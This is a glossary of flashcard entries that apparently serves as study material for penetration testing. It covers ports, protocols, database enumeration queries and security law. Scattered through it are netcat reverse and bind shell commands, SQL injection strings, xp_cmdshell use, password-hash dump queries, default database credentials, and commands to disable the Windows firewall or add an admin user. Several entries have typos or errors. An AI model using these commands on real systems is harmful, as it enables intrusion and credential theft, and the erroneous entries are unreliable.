TCP	Transmission Control Protocol
UDP	User Datagram Protocol
Port 21	FTP
FTP	File Transfer Protocol
Port 22	SSH
SSH	Secure Shell
Port 23	Telnet
Port 25	SMTP
SMTP	Simple Mail Transfer Protocol
Port 49	TACACS
TACACS	Terminal Access Controller Access Control System
Port 53	DNS
DNS	Domain Name System
Port 67 (UDP)	DHCP (Server)
Port 68 (UDP)	DHCP (Client)

DHCP	Dynamic Host Configuration Protocol
Port 69 (UDP)	TFTP
TFTP	Trivial File Transfer Protocol
Port 80	HTTP
HTTP	Hypertext Transfer Protocol
Port 88	Kerberos
Kerberos	A computer network authentication protocol that works on the basis of tickets to allow nodes communicating over a non-secure network to prove their identity to one another in a se-cure manner
Port 110	POP3
POP3	Post Office Protocol version 3
Port 111	RPC
RPC	Remote Procedure Call
Port 123	NTP

NTP	Network Time Protocol
Port 135	Windows RPC (EPM)
Port 593	RPC over HTTPS
Port 445	SMB
SMB	Server Message Block
Port 137 (UDP)	NetBIOS (name services)
Port 138 (UDP)	NetBIOS (datagram services)
Port 139	NetBIOS (session services)
NetBIOS	Network Basic Input/Output System
Port 143	IMAP
IMAP	Internet Message Access Protocol
Port 161 (UDP)	SNMP
SNMP	Simple Network Management Protocol
Port 179	BGP
BGP	Border Gateway Protocol
Border Gateway Protocol (BGP)	

A standardized exterior gateway protocol designed to exchange routing and reach-ability information among autonomous systems on the Internet. The protocol is classified as a path vector protocol.	
Port 201	AppleTalk
Port 389	LDAP
LDAP	Lightweight Directory Access Protocol
Port 443	HTTPS
Port 500 (UDP)	Internet Key Exchange (IKE) (used with IPSec) ISAKMP
ISAKMP	Internet Security Association and Key Management Protocol
Port 514 (UDP)	Syslog
Port 520	RIP

RIP	Routing Information Protocol
Port 546	DHCPv6 (client)
Port 567	DHCPv6 (servers)
Port 587	SMTP
Port 902	VMWare
Port 1080	Socks Proxy
Port 636	LDAPS
Port 1194	VPN
Port 1433	MS-SQL
Port 1434	MS-SQL (monitoring)
Port 1521	Oracle
Port 1629	DameWare
Port 2049	NFS
NFS	Network File System
Port 3128	Squid Proxy
Port 3306	MySQL

Port 3389	RDP (Remote Desktop Protocol)
Port 5060	SIP
SIP	Session Initiation Protocol
Port 5222	Jabber
Port 5432	Postgres
Port 5666	Nagios
Postgres	An object-relational database management system with an emphasis on extensibility and standards compliance
Nagios	Open source system monitoring service
Port 5900	VNC
VNC	Virtual Network Computing
Port 6000	X11
X11	

A windowing system for bitmap displays, common on Unix-like operating systems. Provides the basic framework for a GUI environment: drawing and moving windows on the display device and interacting with a mouse and keyboard.	
Port 6129	DameWare
DameWare	Remote Access Software on port 6129
Port 6667	IRC (Internet Relay Chat)
Port 9001	Tor
Port 9001	HSQL
Port 9090	Openfire
Port 9100	Jet Direct
Yersinia	Layer 2 testing tool (STP, CDP, VLAN Trunking, etc)
STP	Spanning Tree Protocol
CDP	Cisco Discovery Protocol

DTP	Dynamic Trunking Protocol
HSRP	Hot Standby Router Protocol
VTP	VLAN Trunking Protocol
fgdump	A utility for dumping passwords on Windows NT/2000/XP/2003 machines
Reserved Internal IPs	10.0.0.0/8 (10.0.0.0-10.255.255.255) : Private 127.0.0.0/8 (127.0.0.0-127.255.255.255) : Local Host Loopback 172.16.0.0/12 (172.16.0.0-172.31.255.255) : Private 192.168.0.0/16 (192.168.0.0-192.168.255.255) : Private
Symmetric Encryption	

	DES/3DES AES Twofish Blowfish Serpent IDEA RC4, RC5, RC6 CAST
Asymmetric Encryption	RSA El Gamal ECC Eliptic Curve Diffie-Helman (Key Exchange) Paillier Merkle-Helman Cramer-Shoup
Hashes	MD5 SHA1 MySQL < 4.1 MySQL5 MD5 (WP)

	MD5 (phpBB3) LM / NTLM
Oracle Default Credentials	--Username | Password-- SYSTEM | MANAGER ANONYMOUS | ANONYMOUS SCOTT | TIGER OLAPSYS | MANAGER SYS | CHANGE_ON_INSTALL
Port 512	rexec (username / password)
Port 513	rlogin (telnet)
Port 514	rsh
Port 514	rcp
LM Hash	Primary Windows LAN hash before Windows NT. 14 character limit.
DES	56 bit key encryption (16 cycles of 48 bit subkeys)
3DES	168 bit key encryption (48 cycles)
TTL for Windows	128

TTL for Linux	64
TTL for Networking Devices / Solaris	255
Cisco Password Encryption	secret 4 : Crappy SHA256 secret 5 : Salted MD5 secret 7: Crappy Cisco encryption to prevent cleartext in the config secret 8 : PBKDF2 (Password-Based Key Derivation Function 2) *brute-force target* secret 9 : scrypt (BINGO)
SIP Requests	INVITE ACK BYE CANCEL OPTIONS REGISTER PRACK SUBSCRIBE NOTIFY PUBLISH

	INFO REFER MESSAGE UPDATE
SMTP Requests	MAIL RCPT DATA
SNMP Requests	Get GetNext Set GetBulk Response Trap Inform
HTTP Status Codes	1xx - Info 2xx - Success 3xx - Redirection 4xx - Error 5xx - Server Error

HTTP Status Code 404	NOT FOUND the method is not available
HTTP Status Code 301	Moved Permanently
HTTP Status Code 302	Temporarily Moved
HTTP Status Code 410	Gone
SQL Injections (Escape Characters)	' OR '1' = '1' -- ' OR '1' = '1' { ' OR '1' = '1' /*
SQL Injections (Type Handling)	1;DROPTABLE users
Linux File Permissions	drwxrwxrwx 2 user(owner) group size date filename d | rwx | rwx | rwx Filetype | User | Group | Everyone
Linux Command : Change Password	passwd <user>
Linux Command : Find Files of Type	find . -type f -iname '*.pdf' locate '*.pdf'
Linux File System Structure	

/bin - User Binaries
/boot - Bootup related files
/dev - Interface for system devices
/etc - System Config Files
/home - Base directory for user files
/lib - Critical software libraries
/opt - Third party software
/proc - System and running processes
/root - Home for root
/sbin - Sys Admin binaries
/tmp - Temporary Files
/usr - Less critical files
/var - Variable system files

IPTables	A user-space utility program that allows a system administrator to configure the tables provided by the Linux kernel firewall and the chains and rules it stores
Wireshark and TCPdump	

Common packet analyzers. Allows the user to display TCP/IP and other packets being transmitted or received over a network to which the computer is attached	
pfSense	Open source firewall/router computer software distribution based on FreeBSD
Solaris Command : Process Listing	prstat -a
Solaris Command : Services and Status	svcs -a
Solaris Command: Start Service (Admin)	svcadm start <service>
NT 3.1 Versions	Windows NT 3.1 (All)
NT 3.5 Versions	Windows NT 3.5 (All)
NT 3.51 Versions	Windows NT 3.51 (All)
NT 4.0 Versions	Windows NT 4.0 (All)
NT 5.0 Versions	Windows 2000 (All)
NT 5.1 Versions	

Windows XP (Home, pro, MC, Tablet, PC, Starter, Embedded)	
NT 5.2 Versions	Windows XP (64 bit, Pro 64 bit) Windows Server 2003 and R2 Windows Home Server
NT 6.0 Versions	Windows Vista (All) Windows Server 2008 (Foundation, Standard, Enterprise)
NT 6.1 Versions	Windows 7 (All) Windows Server 2008 R2 (All)
NT 6.2 Versions	Windows 8 Windows Phone 8 Windows Server 2012
%SYSTEMDRIVE%\boot.ini	Contains the boot options for computers with BIOS firmware running NT-based operating system prior to Windows Vista
%SYSTEMROOT%\repair\SAM	Stores Windows users' passwords in a hashed format (in LM hash and NTLM

%SYSTEMROOT%\System32\config\RegBack\SAM	hash). These are backups of C:\windows\system32\config\SAM
Windows Commands : System Info	ver : OS Version sc query state=all : Services tasklist /svc : Processes and Services echo %USERNAME% : Current user
Windows Command : Find Files of Type	dir /a /s /n c:*.pdf*
Windows Commands : Add User, Make Admin	net user <user> <pass> /add net localgroup "Administrators" <user> /add
Linux Command : Add User, Make Sudoer	useradd <user> (adduser <user>) passwd <user> sudo useradd <user> sudo (sudo adduser <user> sudo)
Command : View Network Info	Linux: ifconfig Windows: ipconfig /all
Command : Display File Contents	Linux: cat <file> Windows: cat <file>
nslookup	

A network administration command-line tool for querying the Domain Name System (DNS) to obtain domain name or IP address mapping or for any other specific DNS record.

IIS 1 Defaults	Windows NT Addon
IIS 2 Defaults	NT 4.0
IIS 3 Defaults	NT 4 Service Pack
IIS 4 Defaults	NT4 Option Pack
IIS 5 Defaults	Windows 2000
IIS 5.1 Defaults	Windows XP
IIS 6 Defaults	Windows Server 2003, Windows XP Pro
IIS 7 Defaults	Windows Vista, Server 2008
IIS 7.5 Defaults	Windows 7, 2008 R2
IIS 8 Defaults	Windows Server 2012, Windows 8
IIS 8.5 Defaults	

	Windows Server 2012 R2, Windows 8.1
IIS 10 v 1607 Defaults	Windows Server 2016, Windows 10 Anniversary Update
IIS 10 v 1709 Defaults	Windows 10 Fall Creators, v1709
IIS 10 v 1809 Defaults	Windows Server 2019, Windows 10 October Update
Windows Command : Disable Firewall	netsh advfirewall set currentprofile state off netsh advfirewall set allprofiles state off
Sysinternals Suite	A set of powerful Windows administration applications used to view, troubleshoot, and modify Windows functions
WMCI	Windows Management Instrumentation Command-Line
WMCI Command : Execute Process	wmci process call create "process_name"

WMCI Command : Uninstall Software	wmci product get name /value wmci product where name="XX" call uninstall /nointeractive
PCI Card Info Storage Common-Use	- Store card details (i.e CC number, expiry) in encrypted form - Store cardholder details (name, address, contact details...ie PII) in a SEPARATE encrypted database with a unique reference identifier linking the two -DO NOT STORE sensitive data (ie CVV2, CVV or CID values)
Windows : Active Directory Default Location	C:\Windows\NTDS Ntds.dit is the physical storage file
Windows : Domain Common Folders	C:\Windows\SYSVOL Contains Group Policies, Login Scripts, Staging Folders, etc.

dsquery	Remote Server Administration Tools (RSAT) feature pack tool used to enumerate Windows Domain
Classful IP Range : Class A	128 Networks (2^7), 16,777,216 Addresses per network (2^24) Range : 0.0.0.0-127.0.0.0 Default Subnet Mask : 255.0.0.0 CIDR Notation : /8
Classful IP Range : Class B	16,384 Networks (2^14), 65,536 Addresses per network (2^16) Range : 128.0.0.0-191.255.0.0 Default Subnet Mask : 255.255.0.0 CIDR Notation : /16
Classful IP Range : Class C	2,097,152 Networks (2^21), 256 Addresses per network (2^8) Range : 192.0.0.0-223.255.255.0

	Default Subnet Mask : 255.255.255.0 CIDR Notation : /24
Classful IP Range Calculation	If the first bit is a "0", it's a class A address (Half the address space has a "0" for the first bit, so this is why class A takes up half the address space.) If the second bit is a "0", it's a class B address (Half of the remaining non-class-A addresses, or one quarter of the total.) If the third bit is a "0", it's a class C address (Half again of what's left, or one eighth of the total.) If the fourth bit is a "0", it's a class D address. (Half the remainder, or one sixteenth of the address space.) If it's a "1", it's a class E address. (The other half, one sixteenth.)
Classless Subnets / CIDR	

Class C - 255.255.255.0 , /24 (254 Hosts)

Class B - 255.255.0.0 , /16 (65,534 Hosts)

Class A - 255.0.0.0 , /8 (16,777,214 Hosts)

CRITICAL SUBNET INFO	RTFM page 36
Hexadecimal Chart	0 1 2 3 4 5 6 7 8 9 10 - A 11 - B 12 - C

	13 - D 14 - E 15 - F
VLAN	A switched network that is logically segmented by function, project team, or application, without regard to the physical locations of the users.
VLAN IDs 1002-1005	Token Ring and FDDI VLANs
VLAN IDs greater than 1005	Extended-range VLANs (not stored in the VLAN database)
VLAN IDs 1-1005	Normal-range VLANs
vlan.dat	Configurations for VLAN IDs 1-1005
Netcat : Start Listener to Catch Shell	Linux: nc 10.0.0.1 1234 -e /bin/sh Windows: nc 10.0.0.1 1234 -e cmd.exe (-e is execute and is not always supported)

Netcat : Listen	nc -nlvp <port>
Netcat : Transfer Text or Binary Files	Listener : nc -nlvp 4444 > incoming.exe Sender: nc -nv *IP to send to* 4444 < file
Netcat : Bind Shell	Listener: nc -nlvp 4444 -e cmd.exe (to set up cmd to run) Sender/ "Talker": nc -nv *IP to connect to* 4444 (this will execute the cmd.exe and all the "Talker" to connect to the host) *Attacking Listener*
Netcat : Reverse Shell	Listener: nc -nlvp 4444 Sender: nc -nv *IP to send to* 4444 /bin/bash

	(sends shell!) *Attacking Sender*
NMap : Scan Types	-sP : ping scan -sS : syn scan ("half open" scan) -sT : connect scan (full TCP) -sU : UDP scan -sO : protocol scan
Port Count	65,536 (2^16) Ports This applies to TCP AND UDP
NMap : Scan EVERY Port	TCP: nmap -p- <IP> UDP: nmap -sU -p- <IP>
NMap : Common Options	-p1-65535 : Ports -T[0-5] : "Scan Speed", can help hide you -n : No DNS Resolution -O : OS Detection -A : AGGRESSIVE -sV : Version Detection

	-PN : No Ping -6 : IPv6 Scan -oA <file> : Output ALL types
NMap : DNS Reverse Lookup	nmap -R -sL -dns-server <server> <IP Range>
Hash Lengths	MD5 : 16 Bytes SHA-1 : 20 bytes SHA-256 : 32 Bytes SHA-512 : 64 Bytes
IIS	Microsoft Web Server
Apache / Tomcat	Apache Web Servers
GWS	Google Web Server
Websphere	IBM Web Server
Litespeed	LiteSpeed Tech Web Server
MS-SQL : DB Version	SELECT @@version EXEC xp_msver (detailed version info)

MS-SQL : Run OS Command	EXEC master..xp_cmdshell 'net user'
MS-SQL : SELECT commands	SELECT HOST_NAME( ) : Hostname and IP SELECT DB_NAME ( ) : Current DB SELECT name FROM master..sysdatabases; : List DBs SELECT user_name ( ) : Current user SELECT name FROM master..syslogins : List users SELECT name FROM master..sysobjects WHERE xtype='U'; : List Tables SELECT name FROM syscolumns WHERE id=(SELECT id FROM sysobjections WHERE name='mytable'); : List columns
MS-SQL : List all Tables and Columns	

SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysob-jects WHERE name = 'mytable')	
MS-SQL : System Table (Info on All Tables)	SELECT TOP 1 TABLE_NAME FROM IN-FORMATION_SCHEMA.TABLES
MS-SQL 2005 Vulnerability (Password Hashes)	SELECT name, password_hash FROM master.sys.sql_logins
Postgres : SELECT commands	SELECT version(); : DB Version SELECT inet_server)addr(); : Host-name and IP SELECT current_database(); : Current DB SELECT datname FROM pg_database; : List DBs SELECT user; : Current user SELECT username FROM pg_user; :

	List Users SELECT username,passwd FROM pg_shadow : List password hashes
MySQL Default Credentials	root | MYSQL
MySQL : SELECT Commands	SELECT @@version; : DB Version SELECT @@hostname; : Hostname and IP SELECT database(); : Current DB SELECT distinct (db) FROM mysql.db; : List DBs SELECT user(); : Current user SELECT user FROM mysql.user; : List Users SELECT host,user,password FROM mysql.user; : List password hashes

MySQL : List Tables (and Columns)	SHOW TABLES (only works for current database) SELECT * FROM information_schema.columns (full dump)
Oracle : SELECT Commands	SELECT * FROM v$version; : DB Version (SELECT version FROM v$instance;) SELECT instance_name FROM v$instance : Current DB (SELECT name FROM v$database;) SELECT DISTINCT owner FROM all_tables; : List DBs SELECT user FROM dual; : Current User SELECT username FROM all_users ORDER BY username; : List users

SELECT column_name FROM all_tab_columns; : List Columns

SELECT table_name FROM all_tables; : List Tables

SELECT name, password, astatus FROM sys.user$; : List password hashes

host.equiv (or .rhosts file) Structure

Allow any user to log in from any host:

+

Allow any user from host with a matching local account to log in:

host

Allow any user from host to log in:

host +

Allow user from host to log in as any non-root user:

host user

Allow all users with matching local accounts from host to log in except for baduser:

host -baduser

host

Deny all users from host:

-host

Allow all users with matching local accounts on all hosts in a netgroup:

+@netgroup

Disallow all users on all hosts in a netgroup:

-@netgroup

Allow all users in a netgroup to log in from host as any non-root user:

host +@netgroup

Allow all users with matching local accounts on all hosts in a netgroup ex-

cept baduser: +@netgroup -baduser +@netgroup	
Linux Shell Breakouts	python -c 'import pty;pty.spawn("/bin/bash")' echo os.system('/bin/bash') /bin/sh -i
Language Vulns : Java (OO)	Log Injection Deadlock Language-based Attacks
Language Vulns : C (Function)	Code Injection Buffer Overflow
Language Vulns : Objective-C (OO)	Code Insertion Malformation Race Conditions
Language Vulns : C++ (OO)	Race Conditions

Language Vulns: PHP	Incorrect Element Removal
NIC	Network Interface Card
Network Interface Card (NIC)	An expansion card that enables a computer to connect other computers or to a cable modem to facilitate a high-speed Internet connection.
MAC	Media Access Control
NAT	Network Address Translation
Media Access Control (MAC)	An address for communications on the physical network segment.
Network Address Translation (NAT)	A technique that allows private IP addresses to be used on the public Internet.
OSI Model	"Please Dont Nag Tyrannosaurus, She'll Probably Attack" 1 : Physical (Bits) 2 : Data Link (Frames) 3 : Network (Packets)

	4 : Transport (Segments) 5 : Session (Data) 6 : Presentation (Data) 7 : Application (Data)
TCP/IP Model	"Never Ingest Turian Almonds" 1 : Network Interface 2 : Internet Layer 3 : Transport Layer 4 : Application Layer
IETF	Internet Engineering Task Force
IANA	Internet Assigned Numbers Authority
Wireless Standards	802.11b - 2.4 GHz 11 Mbps 802.11a - 5 GHz, 54 Mbps 802.11g - 2.4 GHz, 54 Mbps 802.11n - 5 GHz, 108 Mpbs 802.15 - Bluetooth 2.4 GHz
Data Link Protocols	

1) SLIP (serial line internet protocol)
2) PPP (point-to-point protocol)
3) *ARP (address resolution protocol)* (resolves IP's into MAC's)
4) *RARP (reverse address resolution protocol)* (MAC's into IP's)
5) L2F (layer 2 forwarding)
6) L2TP (layer 2 tunneling protocol)
7) PPTP (point-to-point tunneling protocol)
8) ISDN (integrated services digital network)

ARP	Address Resolution Protocol
IGMP	Internet Group Management Protocol
FQDN	Fully Qualified Domain Name
IOC	Indications of Compromise
POC	Point of Contact Proof of Concept

SIEM	Security Information and Event Management
MBSA	Microsoft Baseline Security Analyzer
CAT5	type of cable that has the ability to transfer information from one computer to another
Ethernet	a system for connecting a number of computer systems to form a local area network, with protocols to control the passing of information and to avoid simultaneous transmission by two or more systems.
Token Ring	A networking technology developed by IBM in the 1980s. It relies upon direct links between nodes and a ring topology, using tokens to allow nodes to transmit data.
APIPA	Automatic Private Internet Protocol Addressing
MTU	

maximum transmission unit - The largest data unit a network (for example, Ethernet or token ring) will accept for transmission.	
Unicast	a message that is sent from a single sender to a single recipient
Multicast	a form of transmission in which a message is delivered to a group of hosts
Router Protocol	a protocol used between routers so that they can learn routes to add to their routing tables.
Link State Routing	A routing method that floods routing information to all routers within a network to build and maintain a more complex network route database.
	Each router passes a copy of its routing table to its adjacent neighbors. The neighbor adds the route to its own table, incrementing the metric

Distance Vector Routing	to reflect the extra distance to the end network. The distance is given as a hop count; the vector component specifies the address of the next hop.
Hybrid Routing	Routing protocol that uses the attributes of both distance vector and link state
IGP	Interior Gateway Protocol
Interior Gateway Protocol (IGP)	A routing protocol that operates within an autonomous system, which is a network under a single administrative control. Includes IGRP, EGRP, RIP, OSPF, and EIGRP
EGP	Exterior Gateway Protocol
Exterior Gateway Protocol (EGP)	A routing protocol that operates between autonomous systems, which are networks under different administrative control. Border Gateway Pro-

	tocol (BGP) is the only one in widespread use today.
IPv6	A new protocol developed to replace IPv4, addressing the issue of IP address exhaustion. No broadcast, has Anycast instead. 128-bit in Hexidecimal
MAC Address	A Media Access Control address is a hardware address that uniquely identifies each node on a network. Traditional MAC addresses are 12-digit (6 bytes, or 48 bits) hexadecimal numbers.
Network Architectures	The design of a computer network; includes both physical and logical design.
10BaseT	LAN (Ethernet) 10 Mbps
100BaseT	

"Fast Ethernet" 100 Mbps	
1000BaseT	Gigabit Ethernet 1 GB
Wireless Network	Any type of computer network that is not connected by cables of any kind. 802.11
Shared Media LAN	LAN that shares total bandwidth with all stations (ex. Token Ring)
Switched Media LAN	LAN with bandwidth shared between sender and receiver (Predicated Paths) *Hubs are similar, but with NODES
Netcraft	Company that tracks web statistics, used to fingerprint web servers
WHOIS	

a public Internet database that contains information about Internet domain names and the people or organizations that registered the domains. It is a source of information that can be used to exploit system vulnerabilities.

Egress filtering	Filtering outbound traffic
Ingress Filtering	Filtering inbound traffic
DNS Record Types	SOA- Start of Auth Record MX- Mail Exchange TXT- Text Record A- Address (IPv4) AAAA- Address (IPv6) NS - Name Server PTR - Pointer Record HINFO - Description of computer / OS CNAME - Canonical Name
Start of Authority (SOA) Record	

Every zone file must include a ___ record to identify the name server that's primarily responsible for the database segments it manages.	
Mail Exchanger (MX) Record	A record used by e-mail servers for determining the host names of servers responsible for handling a domain's incoming e-mail.
A / AAAA Record	IP Address
Name Server (NS) Record	announces the authoritative name servers for a particular zone who will answer queries for their supported zone
Pointer Record (PTR)	A record that points IP addresses/Canonical to host names. See also Reverse Lookup Zone.
CNAME (Canonical name record)	A type of DNS data record that holds alternative names for a host.
Network Protocols	

	ARP DHCP CDP HSRP VRRP VTP STP TACACS
Cisco Discovery Protocol (CDP)	a Cisco proprietary Layer 2 protocol to gather information about neighboring Cisco devices
HSRP (Hot Standby Router Protocol)	This is exclusive to Cisco and allows a default router address to be configured to be used in the event that the primary router fails.
VRRP (Virtual Router Redundancy Protocol)	A standard that assigns a virtual IP address to a group of routers. At first, messages routed to the virtual IP address are handled by the master router. If the master router fails, back-

	up routers stand in line to take over responsibility for the virtual IP address.
VTP (VLAN Trunking Protocol)	Cisco's protocol for exchanging VLAN information over trunks. Allows one switch on a network to centrally manage all VLANs.
STP (Spanning Tree Protocol)	A Layer 2 protocol that is used for routing and prevents network loops by adopting a dynamic routing method.
WEP	Wired Equivalent Privacy
Wired Equivalent Privacy (WEP)	An IEEE 802.11 security protocol designed to ensure that only authorized parties can view transmitted wireless information. Has significant vulnerabilities and is not considered secure.
WPA	Wireless Protected Access
Wireless Protected Access (WPA)	The 802.11 security method created as a stopgap between WEP and 802.11i.

	WPA2 uses AES Encryption
EAP (Extensible Authentication Protocol)	A protocol that enables systems to use hardware-based identifiers, such as fingerprint scanners or smart card readers, for authentication.
EAP	Extensible Authentication Protocol
LEAP	Lightweight Extensible Authentication Protocol
PEAP	Protected Extensible Authentication Protocol
nbtstat	A Windows utility that is used to view and manage NetBIOS name cache information.
Global Catalog Server	A domain controller that holds a subset of the information in all domain partitions for the entire Active Directory forest.
Master Browser	

Present on every subnet. Needed for a routed TCP/IP network	
FSMO	Flexible Single Master Operations
Flexible Single Master Operations (FSMO) Roles	Also known as operations master roles, these are servers that provide certain functions that can only be handled by one domain controller at a time.
LANMAN hash	The original hash used to store Windows passwords, known as LM hash, based off the DES algorithm. (Legacy)
NTLM	New Technology LAN Manager
NTLM Hash	Successor to the LM hash. A more advanced hash used to store Windows passwords, based off the RC4 algorithm.
	NTLMv2 was developed in response to attacks against the LM authentication protocol. The LM protocol, as the

NTLMv2	name implies, was originally used in the old LAN Manager Network operating system in the mid-1980s. It uses the MD5 password hash algorithm.
OSPF (Open Shortest Path First)	A link-state routing protocol used on IP networks.
Static Routing	An type of routing used by a network administrator to manually specify the mappings in the routing table.
Dynamic Routing	Allows a router to determine the best route between two nodes automatically and then store this information in a routing table.
Port 1	TCP Port Service Multiplexer (TCP-MUX)
Port 5	Remote Job Entry (RJE)
Port 7	ECHO or ICMP
Port 18	Message Send Protocol (MSP)

Port 29	MSG ICP
Port 37	time
Port 42	Host Name Server (Nameserv)
Port 43	WHOIS
Port 70	Gopher Services
Port 79	finger
Port 103	X.400 Standard
Port 118	SQL Services
Port 119	NNTP (Network News Transfer Protocol) Newsgroup
Port 159	SQL Server
Port 190	Gateway Access Control Protocol (GACP)
Port 197	Directory Location Service (DLS)
Port 396	Novell Netware over IP
Port 444	

Simple Network Paging Protocol (SNPP)	
Port 458	Apple QuickTime
Port 500	IKE Internet Key exchange (TCP/UDP)
Computer Misuse Act 1990	An Act which makes illegal a number of activities such as deliberately planting viruses, hacking, using ICT equipment for fraud.
Human Rights Act 1998	Act of Parliament that incorporated the European Convention on Human Rights into UK law, making it enforceable in UK courts
Data Protection Act 1998	The UK law that tells organisations how they must protect the personal data of real people. (NOW GDPR)
GDPR (General Data Protection Regulation)	New European Union law on data protection and privacy for individuals.
DoS	Denial of Service
DDoS (Distributed Denial of Service)	

An attack on a computer or network device in which multiple computers send data and requests to the device in an attempt to overwhelm it so that it cannot perform normal operations.	
XSS (Cross Site Scripting)	A type of application attack where the attacker takes advantage of scripting and input validation vulnerabilities in an interactive website to attack legitimate users.
MySQL < 5.1 Authentication Bypass	Bug that allows authentication even when password provided is incorrect. 1/256 chance of being triggered, so one can just keep sending login attempts over and over to access. *Can only be exploited if built on a system where the memcmp() function can return values outside the -128 to 127 range

Passive OS fingerprinting	Observing host behavior and packets (DHCP, TCP, etc) to determine OS Common Tools: Network Miner, p0f, Satori, Wireshark
Active OS Fingerprinting	Sends specially crafted packets to the remote OS and analyzes the received response. NMap is awesome at this
AES (Advanced Encryption Standard)	A block cypher created in the late 1990s that uses a 128-bit block size and a 128-, 129-, or 256-bit key size.
TKIP (Temporal Key Integrity Protocol)	A security protocol created by the IEEE 802.11i task group to replace WEP.
SMTP User Enumeration	EXPN VRFY
	The prescan function in Sendmail 8.12.9 allows remote attackers to exe-

Sendmail < 8.12.9 Buffer Overflow	cute arbitrary code via buffer overflow attacks, as demonstrated using the parseaddr function in parseaddr.c.
X11	Runs on TCP Port 6000 (can range between 6000-6063) Can be intercepted if not tunneled through SSH
RPC (Remote Procedure Call) Enumeration	Can be assessed using portmapper requests Query RPC portmapper using rpcinfo: rpcinfo p <host>
Non-Persistent XSS	XSS that occurs when the attacker's script that is injected is not stored in the backend, and the Web-browser client simply echoes back the results of the script execution. It can be over GET (QueryString) or POST (Forms) methods.

	Can be used to steal cookies, redirect to phishing sites, and force actions if targets click on crafted links
Persistent XSS	malicious code that remains on a web-site (for ex) until it is removed Good for getting ahold of forms, tick-ets, submissions, etc
SOAP	Simple Object Access Protocol
Simple Object Access Protocol (SOAP)	An XML-based communication proto-col used for sending messages be-tween applications via the Internet.
XML injection	An attack that injects XML tags and data into a database. Can change data, effect how data is processed, etc.
XXE (XML External Entity) Attack	

This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts	
Web Server Common Flaws	Denial of Service (DoS) Buffer overflow attacks Attacks on vulnerable scripts URL manipulation
HTTP Web Methods	*Risky Methods are marked with a star GET HEAD (similar to GET) POST

	PUT* DELETE* CONNECT* OPTIONS TRACE* PATCH
LDAP Injection	An attack that allows for the construction of LDAP statements based on user input statements, which can then be used to access the LDAP database or modify the database's information
Base64 Encoding	An encoding scheme which represents any binary data using only printable ASCII characters. Usually used for encoding email attachments over SMTP
OSSTMM	Open Source Security Testing Methodology Manual
ISECOM	Institute for Security and Open Methodologies

OWASP	Open Web Application Security Project
PTES	Pen Testing Execution Standard
CPNI	Centre for the Protection of National Infrastructure (UK best practices)
Police and Justice Act 2006	Defines police limitations of searching tech
Computer Fraud and Abuse Act of 1986	This act defines cybercrime as any illegal act for which knowledge of computer technology is essential for its perpetration, investigation, or prosecution; currently being evaluated for revision because much of its language was developed before the Internet boom
HIPAA	Health Insurance Portability and Accountability Act
FISMA	Federal Information Security Management Act

GLBA	Gramm-Leach-Bliley Act
Gramm-Leach-Bliley Act of 1999	requires financial institutions to ensure the security and confidentiality of customer data
GDPR	General Data Protection Regulation
FERPA	Family Educational Rights and Privacy Act
PCI DSS	Payment Card Industry Data Security Standard
Basel Accord	an agreement that required that banks hold as capital at least 8% of their risk-weighted assets
ISO 27000 Series	this series contains a range of individual standards and documents specifically reserved by ISO for information security
COBIT	Control Objectives for Information and Related Technology
IPv4	

The Internet Protocol version 4 is the dominant protocol for routing traffic on the Internet, specifying "to" and "from" addresses using a dotted decimal such as "122.45.255.0".	
Cat 5	Category 5 wire, a TIA/EIA standard for UTP wiring that can operate at up to 100 Mbps.
TTL	Time to Live
CSMA/CA	Carrier Sense Multiple Access with Collision Avoidance
CDMA	Code Division Multiple Access (GSM competitor)
The ATM PDU is the cell OSI physical layer PDU is the bit OSI data link layer PDU is the frame OSI network layer PDU is the packet OSI transport layer PDU is the segment	OSI Model PDU

PDUs between OSI session and application layers are referred to simply as the data	
1.3.6.1.2.1.25.1.6.0 System Processes 1.3.6.1.2.1.25.4.2.1.2 Running Programs 1.3.6.1.2.1.25.4.2.1.4 Processes Path 1.3.6.1.2.1.25.2.3.1.4 Storage Units 1.3.6.1.2.1.25.6.3.1.2 Software Name 1.3.6.1.2.1.77.1.2.25 User Accounts 1.3.6.1.2.1.6.13.1.3 TCP Local Ports	Microsoft SNMP